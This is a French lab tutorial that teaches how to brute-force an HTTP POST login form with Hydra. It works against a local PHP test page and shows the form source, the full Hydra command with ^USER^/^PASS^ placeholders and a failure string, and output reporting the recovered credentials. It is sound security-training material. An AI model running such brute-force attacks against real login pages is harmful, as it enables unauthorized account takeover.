Introduction
Dans ce laboratoire, nous allons explorer les options HTTP POST disponibles dans Hydra, en nous concentrant sur la manière de cibler efficacement les services qui utilisent HTTP POST pour l'authentification. Nous apprendrons comment spécifier les noms d'utilisateur et les mots de passe, ainsi que l'URL à laquelle la requête POST doit être envoyée.
Ce laboratoire vous guidera à travers l'examen des options HTTP POST, la configuration d'un formulaire HTTP POST, l'exécution de Hydra avec des options spécifiques et la validation de l'attaque POST. Vous apprendrez comment utiliser Hydra pour attaquer par force brute (brute-force) les identifiants de connexion lors du ciblage de services qui utilisent HTTP POST pour l'authentification.
Revue des Options HTTP POST
Dans cette étape, nous allons explorer les options HTTP POST disponibles dans Hydra. Hydra est un outil puissant pour attaquer par force brute (brute-force) les identifiants de connexion, et il prend en charge divers protocoles, y compris HTTP POST. Lorsque nous ciblons des applications web qui utilisent HTTP POST pour l'authentification, nous devons fournir à Hydra des informations spécifiques sur le formulaire de connexion.
La syntaxe de base pour utiliser Hydra avec HTTP POST est la suivante :
hydra -l <username> -P <password_list> <target_ip> http-post-form "<url>:<post_data>:<failure_string>"
Décomposons les composants clés :
hydra: La commande pour invoquer Hydra.-l <username>: Spécifie un seul nom d'utilisateur à utiliser pour l'attaque. Si vous avez une liste de noms d'utilisateur, vous pouvez utiliser l'option-L <username_list>à la place.-P <password_list>: Spécifie le chemin d'accès à un fichier contenant une liste de mots de passe à essayer.<target_ip>: L'adresse IP du serveur cible.http-post-form: Spécifie que nous utilisons le module de formulaire HTTP POST. Ce module est conçu pour attaquer les formulaires web qui utilisent la méthode POST."<url>:<post_data>:<failure_string>": Il s'agit d'une partie cruciale qui indique à Hydra comment interagir avec le formulaire de connexion.<url>: Le chemin d'accès au script ou à la page de connexion qui gère la requête POST (par exemple,/login.php).<post_data>: Les données qui seront envoyées dans le corps de la requête POST. Cela inclut généralement les noms des champs nom d'utilisateur et mot de passe du formulaire HTML, ainsi que des espaces réservés pour le nom d'utilisateur et le mot de passe que Hydra remplira. Les espaces réservés sont généralement^USER^pour le nom d'utilisateur et^PASS^pour le mot de passe (par exemple,username=^USER^&password=^PASS^).<failure_string>: Une chaîne de caractères qui apparaît dans la réponse d'une tentative de connexion ayant échoué. Hydra utilise cette chaîne pour déterminer si une tentative de connexion a échoué. Vous devez identifier cette chaîne en tentant manuellement une connexion avec des identifiants incorrects et en observant la réponse.
Dans les étapes suivantes, nous allons configurer un simple formulaire HTTP POST, puis utiliser Hydra pour l'attaquer, en appliquant ces options.
Configuration du Formulaire HTTP POST
Dans cette étape, nous allons configurer un simple formulaire HTTP POST que nous pourrons utiliser comme cible pour nos attaques Hydra. Nous avons déjà créé les fichiers nécessaires (login.html et login.php) dans le répertoire ~/project lors de la phase de configuration.
Examinons le contenu de ces fichiers pour comprendre la structure du formulaire et comment le script PHP gère la tentative de connexion.
Tout d'abord, examinons login.html :
cat ~/project/login.html
<!doctype html>
<html>
<head>
<title>Login Form</title>
</head>
<body>
<h1>Login</h1>
<form method="post" action="login.php">
<label for="username">Username:</label><br />
<input type="text" id="username" name="username" /><br /><br />
<label for="password">Password:</label><br />
<input type="password" id="password" name="password" /><br /><br />
<input type="submit" value="Login" />
</form>
</body>
</html>
Ce code HTML définit un formulaire qui utilise la méthode POST et soumet les données à login.php. Les champs de saisie sont nommés username et password. Cela nous indique que les données POST doivent inclure username=<value> et password=<value>.
Maintenant, examinons login.php :
cat ~/project/login.php
<?php
$username = $_POST['username'];
$password = $_POST['password'];
if ($username == 'testuser' && $password == 'password') {
echo "Login successful!";
} else {
echo "Invalid username or password";
}
?>
Ce script PHP vérifie si le username soumis est testuser et si le password est password. S'ils correspondent, il affiche "Login successful!". Sinon, il affiche "Invalid username or password".
À partir de ce script, nous pouvons identifier la chaîne d'échec : "Invalid username or password". C'est la chaîne que Hydra recherchera dans la réponse pour déterminer si une tentative de connexion a échoué.

Maintenant que nous comprenons la structure du formulaire et le message d'échec, nous avons toutes les informations nécessaires pour créer la commande Hydra à l'étape suivante.
Vérification de l'état du service web
Avant de passer à l'étape suivante, veuillez vérifier que le service web PHP est en cours d'exécution et accessible. Exécutez la commande suivante dans votre terminal :
curl -s http://0.0.0.0:8080/login.php
Si vous voyez le contenu de la page (tel que "Invalid username or password"), le service fonctionne correctement.

S'il n'y a pas de réponse ou si vous obtenez une erreur de connexion, vous pouvez démarrer manuellement le serveur web intégré PHP avec :
nohup php -S 0.0.0.0:8080 -t /home/labex/project > /dev/null 2>&1 &
Attendez un instant et réessayez la commande curl.
Exécuter Hydra avec HTTP POST
Maintenant que notre formulaire HTTP POST cible est configuré et que nous comprenons sa structure, nous pouvons utiliser Hydra pour tenter de forcer par brute force les identifiants de connexion. Nous utiliserons les informations recueillies à l'étape précédente pour construire la commande Hydra.
Nous savons ce qui suit :
- L'URL cible est
/login.php. - Les données POST doivent être au format
username=^USER^&password=^PASS^. - La chaîne d'échec est "Invalid username or password".
- Nous utiliserons le nom d'utilisateur
testuseret la liste de mots de passe~/project/password.txt. - L'adresse IP cible est
0.0.0.0(en supposant que le serveur web est en cours d'exécution localement).
Assemblons ces éléments dans une commande Hydra :
hydra -l testuser -P ~/project/password.txt 0.0.0.0 -s 8080 http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid username or password"
Exécutez cette commande dans le terminal :

Hydra commencera maintenant à tenter de se connecter au formulaire cible en utilisant le nom d'utilisateur spécifié et les mots de passe de la liste. Il enverra des requêtes HTTP POST à http://0.0.0.0:8080/login.php avec le nom d'utilisateur et chaque mot de passe dans les données POST. Si la réponse ne contient pas la chaîne d'échec "Invalid username or password", Hydra considérera la tentative de connexion comme réussie et signalera les identifiants.
La sortie affichera la progression de l'attaque. Étant donné que le mot de passe correct (password) est inclus dans notre fichier password.txt, Hydra devrait finir par le trouver.
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-22 09:55:07
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking http-post-form://0.0.0.0:8080/login.php:username=^USER^&password=^PASS^:F=Invalid username or password
[8080][http-post-form] host: 0.0.0.0 login: testuser password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-22 09:55:08
La ligne [http-post] host: 0.0.0.0 login: testuser password: password indique que Hydra a trouvé avec succès les identifiants corrects.
Valider l'Attaque POST
Dans cette étape, nous allons valider que Hydra a identifié avec succès le mot de passe correct pour le compte testuser de deux manières :
- Tout d'abord, en examinant la sortie de Hydra :
[8080][http-post-form] host: 0.0.0.0 login: testuser password: password
Cette ligne indique que Hydra a trouvé des identifiants valides : nom d'utilisateur testuser avec le mot de passe password.
- Deuxièmement, en vérifiant manuellement ces identifiants dans l'interface web :
Pour accéder au formulaire de connexion dans l'environnement LabEx :
- Cliquez sur l'onglet "Web 8080" dans la barre de menu supérieure.
- Dans la barre d'adresse, ajoutez
/login.htmlà la fin de l'URL actuelle. - Entrez les identifiants que Hydra a découverts :
- Nom d'utilisateur :
testuser - Mot de passe :
password
- Nom d'utilisateur :
- Cliquez sur le bouton "Login".

Si vous voyez "Login successful!" après avoir soumis le formulaire, cela confirme que les identifiants trouvés par Hydra sont bien corrects.
Si vous ne voyez pas le message de succès, examinez les étapes précédentes pour vous assurer que :
- Le fichier
password.txtdans~/projectcontient le mot de passepassword. - Le fichier
login.phpdans~/projectvérifie correctement le nom d'utilisateurtestuseret le mot de passepasswordet renvoie les messages appropriés. - Le serveur web est toujours en cours d'exécution (vous pouvez le redémarrer avec
php -S 0.0.0.0:8080 -t /home/labex/projectsi nécessaire).
En réussissant cette étape et en vérifiant les identifiants à la fois via la sortie de Hydra et les tests manuels, vous avez démontré votre capacité à utiliser Hydra pour découvrir des identifiants de connexion valides et à confirmer leur authenticité.
Résumé
Dans ce laboratoire, nous avons exploré comment utiliser Hydra pour attaquer des applications web qui utilisent HTTP POST pour l'authentification. Nous avons appris les options clés requises pour le module http-post-form, notamment la spécification de l'URL cible, le format des données POST avec les espaces réservés pour le nom d'utilisateur et le mot de passe (^USER^ et ^PASS^), et l'identification d'une chaîne d'échec dans la réponse pour détecter les tentatives de connexion infructueuses.
Nous avons mis en place un simple formulaire HTML et un script PHP pour simuler une page de connexion, ce qui nous a permis de comprendre la structure de la requête POST et la réponse attendue. En construisant et en exécutant la commande Hydra appropriée, nous avons réussi à forcer par brute force les identifiants de connexion, démontrant la puissance de Hydra dans l'attaque des formulaires HTTP POST.
Vous avez appris à :
- Comprendre la syntaxe de base pour l'utilisation de Hydra avec HTTP POST.
- Identifier les informations nécessaires à partir d'un formulaire web (URL, noms de champs, message d'échec).
- Construire une commande Hydra pour cibler un formulaire HTTP POST.
- Interpréter la sortie de Hydra pour valider une attaque de connexion réussie.
Ce laboratoire fournit une compréhension fondamentale de l'utilisation de Hydra pour les attaques HTTP POST, ce qui est un scénario courant dans les tests de sécurité des applications web.


